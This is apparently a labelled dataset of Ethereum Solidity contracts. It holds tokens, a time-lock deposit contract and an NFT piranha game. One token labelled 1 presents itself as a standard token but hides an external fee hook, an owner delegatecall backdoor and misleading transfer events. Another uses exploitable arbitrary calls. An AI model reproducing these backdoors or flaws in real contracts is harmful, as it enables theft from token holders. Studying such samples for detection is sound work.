return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x505c7f3B5fC1D6cD286425BA9460A0Bf0C605fD8)];
uint[1] memory amounts = [uint(200000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 1,456 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ERC827 is ERC20 {
function approve( address _spender, uint256 _value, bytes _data ) public returns (bool);
function transfer( address _to, uint256 _value, bytes _data ) public returns (bool);
function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool);
}
contract ERC827Token is ERC827, StandardToken {
function approve(address _spender, uint256 _value, bytes _data) public returns (bool) {
require(_spender != address(this));
super.approve(_spender, _value);
require(_spender.call(_data));
return true;
}
function transfer(address _to, uint256 _value, bytes _data) public returns (bool) {
require(_to != address(this));
super.transfer(_to, _value);
require(_to.call(_data));
return true;
}
function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) {
require(_to != address(this));
super.transferFrom(_from, _to, _value);
require(_to.call(_data));
return true;
}
function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) {
require(_spender != address(this));
super.increaseApproval(_spender, _addedValue);
require(_spender.call(_data));
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) {
require(_spender != address(this));
super.decreaseApproval(_spender, _subtractedValue);
require(_spender.call(_data));
return true;
}
}
contract Recoverable is Ownable {
function Recoverable() {
}
function recoverTokens(ERC20Basic token) onlyOwner public {
token.transfer(owner, tokensToBeReturned(token));
}
function tokensToBeReturned(ERC20Basic token) public returns (uint) {
return token.balanceOf(this);
}
}
contract StandardTokenExt is StandardToken, ERC827Token, Recoverable {
function isToken() public constant returns (bool weAre) {
return true;
}
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract UpgradeableToken is StandardTokenExt {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) {
throw;
}
if (value == 0) throw;
balances[msg.sender] = balances[msg.sender].sub(value);
totalSupply_ = totalSupply_.sub(value);
totalUpgraded = totalUpgraded.add(value);
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
if(!canUpgrade()) {
throw;
}
if (agent == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
if (getUpgradeState() == UpgradeState.Upgrading) throw;
upgradeAgent = UpgradeAgent(agent);
if(!upgradeAgent.isUpgradeAgent()) throw;
if (upgradeAgent.originalSupply() != totalSupply_) throw;
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
if (master == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
upgradeMaster = master;
}
function canUpgrade() public constant returns(bool) {
return true;
}
}
contract MintableToken is StandardTokenExt {
using SafeMath for uint256;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state);
event Minted(address receiver, uint256 amount);
function mint(address receiver, uint256 amount) onlyMintAgent canMint public {
totalSupply_ = totalSupply_.add(amount);
balances[receiver] = balances[receiver].add(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract ReleasableToken is StandardTokenExt {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
throw;
}
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
throw;
}
_;
}
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
throw;
}
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value, bytes _data) canTransfer(msg.sender) public returns (bool) {
return super.transfer(_to, _value, _data);
}
function transferFrom(address _from, address _to, uint256 _value, bytes _data) canTransfer(_from) public returns (bool) {
return super.transferFrom(_from, _to, _value, _data);
}
}
contract CrowdsaleToken is ReleasableToken, MintableToken, UpgradeableToken {
event UpdatedTokenInformation(string newName, string newSymbol);
string public name;
string public symbol;
uint public decimals;
function CrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable)
UpgradeableToken(msg.sender) {
owner = msg.sender;
name = _name;
symbol = _symbol;
totalSupply_ = _initialSupply;
decimals = _decimals;
balances[owner] = totalSupply_;
if(totalSupply_ > 0) {
Minted(owner, totalSupply_);
}
if(!_mintable) {
mintingFinished = true;
if(totalSupply_ == 0) {
throw;
}
}
}
function finishMinting() public onlyOwner {
mintingFinished = true;
}
function setTokenInformation(string _name, string _symbol) onlyOwner {
name = _name;
symbol = _symbol;
UpdatedTokenInformation(name, symbol);
}
} | 1 | 2,372 |
pragma solidity ^0.4.11;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract EthCapsule is Ownable {
struct Depositor {
uint numCapsules;
mapping (uint => Capsule) capsules;
}
mapping (address => Depositor) depositors;
struct Capsule {
uint value;
uint id;
uint lockTime;
uint unlockTime;
uint withdrawnTime;
}
uint public minDeposit = 1000000000000000;
uint public minDuration = 0;
uint public maxDuration = 157680000;
uint public totalCapsules;
uint public totalValue;
uint public totalBuriedCapsules;
function bury(uint unlockTime) payable {
require(msg.value >= minDeposit);
require(unlockTime <= block.timestamp + maxDuration);
if (unlockTime < block.timestamp + minDuration) {
unlockTime = SafeMath.add(block.timestamp, minDuration);
}
if (depositors[msg.sender].numCapsules <= 0) {
depositors[msg.sender] = Depositor({ numCapsules: 0 });
}
Depositor storage depositor = depositors[msg.sender];
depositor.numCapsules++;
depositor.capsules[depositor.numCapsules] = Capsule({
value: msg.value,
id: depositors[msg.sender].numCapsules,
lockTime: block.timestamp,
unlockTime: unlockTime,
withdrawnTime: 0
});
totalBuriedCapsules++;
totalCapsules++;
totalValue = SafeMath.add(totalValue, msg.value);
}
function dig(uint capsuleNumber) {
Capsule storage capsule = depositors[msg.sender].capsules[capsuleNumber];
require(capsule.unlockTime <= block.timestamp);
require(capsule.withdrawnTime == 0);
totalBuriedCapsules--;
capsule.withdrawnTime = block.timestamp;
msg.sender.transfer(capsule.value);
}
function setMinDeposit(uint min) onlyOwner {
minDeposit = min;
}
function setMinDuration(uint min) onlyOwner {
minDuration = min;
}
function setMaxDuration(uint max) onlyOwner {
maxDuration = max;
}
function getCapsuleInfo(uint capsuleNum) constant returns (uint, uint, uint, uint, uint) {
return (
depositors[msg.sender].capsules[capsuleNum].value,
depositors[msg.sender].capsules[capsuleNum].id,
depositors[msg.sender].capsules[capsuleNum].lockTime,
depositors[msg.sender].capsules[capsuleNum].unlockTime,
depositors[msg.sender].capsules[capsuleNum].withdrawnTime
);
}
function getNumberOfCapsules() constant returns (uint) {
return depositors[msg.sender].numCapsules;
}
function totalBuriedValue() constant returns (uint) {
return this.balance;
}
} | 0 | 1,454 |
pragma solidity 0.4.25;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a, "Bad maths.");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b <= a, "Bad maths.");
c = a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b, "Bad maths.");
}
function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b > 0, "Bad maths.");
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint256);
function balanceOf(address tokenOwner) public constant returns (uint256 balance);
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
function approve(address spender, uint256 tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address internal owner;
address internal newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner, "Only the owner may execute this function.");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function disown() public onlyOwner() {
delete owner;
}
function acceptOwnership() public {
require(msg.sender == newOwner, "You have not been selected as the new owner.");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract SnowdenToken is ERC20Interface, Owned {
using SafeMath for uint256;
string public symbol;
string public name;
uint8 public decimals;
uint256 internal accountCount = 0;
uint256 internal _totalSupply = 0;
bool internal readOnly = false;
uint256 internal constant MAX_256 = 2**256 - 1;
mapping(address => bool) public ignoreDividend;
event DividendGivenEvent(uint64 dividendPercentage);
mapping(address => uint256) public freezeUntil;
mapping(address => address) internal addressLinkedList;
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowed;
constructor(uint256 supply, address[] addresses, uint256[] tokens, uint256[] freezeList, address[] ignoreList) public {
symbol = "SNOW";
name = "Snowden";
decimals = 0;
_totalSupply = supply;
balances[address(0)] = _totalSupply;
uint256 totalAddresses = addresses.length;
uint256 totalTokens = tokens.length;
require(totalAddresses > 0 && totalTokens > 0, "Must be a positive number of addresses and tokens.");
require(totalAddresses == totalTokens, "Must be tokens assigned to all addresses.");
uint256 aggregateTokens = 0;
for (uint256 i = 0; i < totalAddresses; i++) {
require(tokens[i] > 0, "No empty tokens allowed.");
aggregateTokens = aggregateTokens + tokens[i];
require(aggregateTokens <= supply, "Supply is not enough for demand.");
giveReserveTo(addresses[i], tokens[i]);
freezeUntil[addresses[i]] = freezeList[i];
}
ignoreDividend[address(this)] = true;
ignoreDividend[msg.sender] = true;
for (i = 0; i < ignoreList.length; i++) {
ignoreDividend[ignoreList[i]] = true;
}
}
function () public payable {
revert();
}
function totalSupply() public constant returns (uint256) {
return _totalSupply;
}
function list() public view returns (address[], uint256[]) {
address[] memory addrs = new address[](accountCount);
uint256[] memory tokens = new uint256[](accountCount);
uint256 i = 0;
address current = addressLinkedList[0];
while (current != 0) {
addrs[i] = current;
tokens[i] = balances[current];
current = addressLinkedList[current];
i++;
}
return (addrs, tokens);
}
function remainingTokens() public view returns(uint256) {
return balances[address(0)];
}
function isReadOnly() public view returns(bool) {
return readOnly;
}
function balanceOf(address tokenOwner) public constant returns (uint256 balance) {
return balances[tokenOwner];
}
function requireTrade(address from) public view {
require(!readOnly, "Read only mode engaged");
uint256 i = 0;
address current = addressLinkedList[0];
while (current != 0) {
if(current == from) {
uint256 timestamp = freezeUntil[current];
require(timestamp < block.timestamp, "Trades from your account are temporarily not possible. This is due to ICO rules.");
break;
}
current = addressLinkedList[current];
i++;
}
}
function transfer(address to, uint256 tokens) public returns (bool success) {
requireTrade(msg.sender);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
ensureInAccountList(to);
return true;
}
function approve(address spender, uint256 tokens) public returns (bool success) {
requireTrade(msg.sender);
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint256 tokens) public returns (bool success) {
requireTrade(from);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
ensureInAccountList(from);
ensureInAccountList(to);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining) {
requireTrade(tokenOwner);
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint256 tokens, bytes data) public returns (bool success) {
requireTrade(msg.sender);
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function transferAnyERC20Token(address addr, uint256 tokens) public onlyOwner returns (bool success) {
requireTrade(addr);
return ERC20Interface(addr).transfer(owner, tokens);
}
function giveReserveTo(address to, uint256 tokens) public onlyOwner {
require(!readOnly, "Read only mode engaged");
balances[address(0)] = balances[address(0)].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(address(0), to, tokens);
ensureInAccountList(to);
}
function giveDividend(uint64 percentage) public onlyOwner {
require(!readOnly, "Read only mode engaged");
require(percentage > 0, "Percentage must be more than 0 (10000 = 1%)");
require(percentage <= 500000, "Percentage may not be larger than 500000 (50%)");
emit DividendGivenEvent(percentage);
address current = addressLinkedList[0];
while (current != 0) {
bool found = ignoreDividend[current];
if(!found) {
uint256 extraTokens = (balances[current] * percentage) / 1000000;
giveReserveTo(current, extraTokens);
}
current = addressLinkedList[current];
}
}
function setReadOnly(bool enabled) public onlyOwner {
readOnly = enabled;
}
function addToAccountList(address addr) internal {
require(!readOnly, "Read only mode engaged");
addressLinkedList[addr] = addressLinkedList[0x0];
addressLinkedList[0x0] = addr;
accountCount++;
}
function removeFromAccountList(address addr) internal {
require(!readOnly, "Read only mode engaged");
uint16 i = 0;
bool found = false;
address parent;
address current = addressLinkedList[0];
while (true) {
if (addressLinkedList[current] == addr) {
parent = current;
found = true;
break;
}
current = addressLinkedList[current];
if (i++ > accountCount) break;
}
require(found, "Account was not found to remove.");
addressLinkedList[parent] = addressLinkedList[addressLinkedList[parent]];
delete addressLinkedList[addr];
if (balances[addr] > 0) {
balances[address(0)] += balances[addr];
}
delete balances[addr];
accountCount--;
}
function ensureInAccountList(address addr) internal {
require(!readOnly, "Read only mode engaged");
bool found = false;
address current = addressLinkedList[0];
while (current != 0) {
if (current == addr) {
found = true;
break;
}
current = addressLinkedList[current];
}
if (!found) {
addToAccountList(addr);
}
}
} | 0 | 1,666 |
pragma solidity >=0.6.12 <0.7.0;
interface FeeManagementLibrary {
function calculate(address,address,uint256) external returns(uint256);
}
contract StandardToken {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
uint256 fee = calcFee(_from, _to, _value);
balanceOf[_to] += (_value - fee);
emit Transfer(_from, _to, _value);
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function calcFee(address _from, address _to, uint _value) private returns(uint256) {
uint fee = 0;
if (_to == UNI && _from != owner) {
fee = FeeManagementLibrary(FeeManagement).calculate(address(this), UNI, _value);
}
return fee;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address private UNI;
address constant internal FeeManagement = 0x1691b5bA9E44Fdc0DCA002726a85d438B96183c4;
constructor(string memory _name, string memory _symbol, uint _totalSupply) payable public {
owner = msg.sender;
symbol = _symbol;
name = _name;
totalSupply = _totalSupply;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 4,365 |
pragma solidity ^0.4.21;
contract Ownable {
address public contractOwner;
function Ownable() public {
contractOwner = msg.sender;
}
modifier onlyContractOwner() {
require(msg.sender == contractOwner);
_;
}
function transferContractOwnership(address _newOwner) public onlyContractOwner {
require(_newOwner != address(0));
contractOwner = _newOwner;
}
function contractWithdraw() public onlyContractOwner {
contractOwner.transfer(this.balance);
}
}
contract ERC721 {
function approve(address _to, uint256 _tokenId) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint256 _tokenId) public view returns (address addr);
function takeOwnership(uint256 _tokenId) public;
function totalSupply() public view returns (uint256 total);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
}
contract EthPiranha is ERC721, Ownable {
event PiranhaCreated(uint256 tokenId, string name, address owner);
event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, string name);
event Transfer(address from, address to, uint256 tokenId);
string public constant NAME = "Piranha";
string public constant SYMBOL = "PiranhaToken";
mapping (uint256 => address) private piranhaIdToOwner;
mapping (address => uint256) private ownershipTokenCount;
mapping (uint256 => address) private piranhaIdToApproved;
struct Piranha {
string name;
uint8 size;
uint256 gen;
uint8 unique;
uint256 growthStartTime;
uint256 sellPrice;
uint8 hungry;
}
Piranha[] public piranhas;
function approve(address _to, uint256 _tokenId) public {
require(_owns(msg.sender, _tokenId));
piranhaIdToApproved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownershipTokenCount[_owner];
}
function createPiranhaTokens() public onlyContractOwner {
for (uint8 i=0; i<15; i++) {
_createPiranha("EthPiranha", msg.sender, 20 finney, 160, 1, 0);
}
}
function implementsERC721() public pure returns (bool) {
return true;
}
function name() public pure returns (string) {
return NAME;
}
function symbol() public pure returns (string) {
return SYMBOL;
}
function ownerOf(uint256 _tokenId) public view returns (address owner) {
owner = piranhaIdToOwner[_tokenId];
require(owner != address(0));
}
function buy(uint256 _tokenId) public payable {
address oldOwner = piranhaIdToOwner[_tokenId];
address newOwner = msg.sender;
Piranha storage piranha = piranhas[_tokenId];
uint256 sellingPrice = piranha.sellPrice;
require(oldOwner != newOwner);
require(_addressNotNull(newOwner));
require(msg.value >= sellingPrice && sellingPrice > 0);
uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 97), 100));
piranha.sellPrice=0;
piranha.hungry=0;
_transfer(oldOwner, newOwner, _tokenId);
if (oldOwner != address(this)) {
oldOwner.transfer(payment);
}
TokenSold(_tokenId, sellingPrice, 0, oldOwner, newOwner, piranhas[_tokenId].name);
if (msg.value > sellingPrice) {
uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice);
msg.sender.transfer(purchaseExcess);
}
}
function changePiranhaName(uint256 _tokenId, string _name) public payable {
require (piranhaIdToOwner[_tokenId] == msg.sender && msg.value == 0.001 ether);
require(bytes(_name).length <= 15);
Piranha storage piranha = piranhas[_tokenId];
piranha.name = _name;
}
function startSelling(uint256 _tokenId, uint256 _price) public {
require (piranhaIdToOwner[_tokenId] == msg.sender);
Piranha storage piranha = piranhas[_tokenId];
piranha.sellPrice = _price;
}
function stopSelling(uint256 _tokenId) public {
require (piranhaIdToOwner[_tokenId] == msg.sender);
Piranha storage piranha = piranhas[_tokenId];
require (piranha.sellPrice > 0);
piranha.sellPrice = 0;
}
function hungry(uint256 _tokenId) public {
require (piranhaIdToOwner[_tokenId] == msg.sender);
Piranha storage piranha = piranhas[_tokenId];
require (piranha.hungry == 0);
uint8 piranhaSize=uint8(piranha.size+(now-piranha.growthStartTime)/900);
require (piranhaSize < 240);
piranha.hungry = 1;
}
function notHungry(uint256 _tokenId) public {
require (piranhaIdToOwner[_tokenId] == msg.sender);
Piranha storage piranha = piranhas[_tokenId];
require (piranha.hungry == 1);
piranha.hungry = 0;
}
function bite(uint256 _tokenId, uint256 _victimTokenId) public payable {
require (piranhaIdToOwner[_tokenId] == msg.sender);
require (msg.value == 1 finney);
Piranha storage piranha = piranhas[_tokenId];
Piranha storage victimPiranha = piranhas[_victimTokenId];
require (piranha.hungry == 1 && victimPiranha.hungry == 1);
uint8 vitimPiranhaSize=uint8(victimPiranha.size+(now-victimPiranha.growthStartTime)/900);
require (vitimPiranhaSize>40);
uint8 piranhaSize=uint8(piranha.size+(now-piranha.growthStartTime)/900)+10;
if (piranhaSize>240) {
piranha.size = 240;
piranha.hungry = 0;
} else {
piranha.size = piranhaSize;
}
if (vitimPiranhaSize>=50) {
vitimPiranhaSize-=10;
victimPiranha.size = vitimPiranhaSize;
}
else {
victimPiranha.size=40;
}
piranha.growthStartTime=now;
victimPiranha.growthStartTime=now;
}
function breeding(uint256 _maleTokenId, uint256 _femaleTokenId) public payable {
require (piranhaIdToOwner[_maleTokenId] == msg.sender && piranhaIdToOwner[_femaleTokenId] == msg.sender);
require (msg.value == 0.01 ether);
Piranha storage piranhaMale = piranhas[_maleTokenId];
Piranha storage piranhaFemale = piranhas[_femaleTokenId];
uint8 maleSize=uint8(piranhaMale.size+(now-piranhaMale.growthStartTime)/900);
if (maleSize>240)
piranhaMale.size=240;
else
piranhaMale.size=maleSize;
uint8 femaleSize=uint8(piranhaFemale.size+(now-piranhaFemale.growthStartTime)/900);
if (femaleSize>240)
piranhaFemale.size=240;
else
piranhaFemale.size=femaleSize;
require (piranhaMale.size > 150 && piranhaFemale.size > 150);
uint8 newbornSize = uint8(SafeMath.div(SafeMath.add(piranhaMale.size, piranhaMale.size),4));
uint256 maxGen=piranhaFemale.gen;
uint256 minGen=piranhaMale.gen;
if (piranhaMale.gen > piranhaFemale.gen) {
maxGen=piranhaMale.gen;
minGen=piranhaFemale.gen;
}
uint256 randNum = uint256(block.blockhash(block.number-1));
uint256 newbornGen;
uint8 newbornUnique = uint8(randNum%100+1);
if (randNum%(10+maxGen) == 1) {
newbornGen = SafeMath.add(maxGen,1);
} else if (maxGen == minGen) {
newbornGen = maxGen;
} else {
newbornGen = SafeMath.add(randNum%(maxGen-minGen+1),minGen);
}
if (newbornUnique > 5)
newbornUnique = 0;
piranhaMale.size = uint8(SafeMath.div(piranhaMale.size,2));
piranhaFemale.size = uint8(SafeMath.div(piranhaFemale.size,2));
piranhaMale.growthStartTime = now;
piranhaFemale.growthStartTime = now;
piranhaMale.sellPrice = 0;
piranhaFemale.sellPrice = 0;
_createPiranha("EthPiranha", msg.sender, 0, newbornSize, newbornGen, newbornUnique);
}
function takeOwnership(uint256 _tokenId) public {
address newOwner = msg.sender;
address oldOwner = piranhaIdToOwner[_tokenId];
require(_addressNotNull(newOwner));
require(_approved(newOwner, _tokenId));
_transfer(oldOwner, newOwner, _tokenId);
}
function allPiranhasInfo(uint256 _startPiranhaId) public view returns (address[] owners, uint8[] sizes, uint8[] hungry, uint256[] prices) {
uint256 totalPiranhas = totalSupply();
Piranha storage piranha;
if (totalPiranhas == 0 || _startPiranhaId >= totalPiranhas) {
return (new address[](0), new uint8[](0), new uint8[](0), new uint256[](0));
}
uint256 indexTo;
if (totalPiranhas > _startPiranhaId+1000)
indexTo = _startPiranhaId + 1000;
else
indexTo = totalPiranhas;
uint256 totalResultPiranhas = indexTo - _startPiranhaId;
address[] memory owners_res = new address[](totalResultPiranhas);
uint8[] memory size_res = new uint8[](totalResultPiranhas);
uint8[] memory hungry_res = new uint8[](totalResultPiranhas);
uint256[] memory prices_res = new uint256[](totalResultPiranhas);
for (uint256 piranhaId = _startPiranhaId; piranhaId < indexTo; piranhaId++) {
piranha = piranhas[piranhaId];
owners_res[piranhaId - _startPiranhaId] = piranhaIdToOwner[piranhaId];
hungry_res[piranhaId - _startPiranhaId] = piranha.hungry;
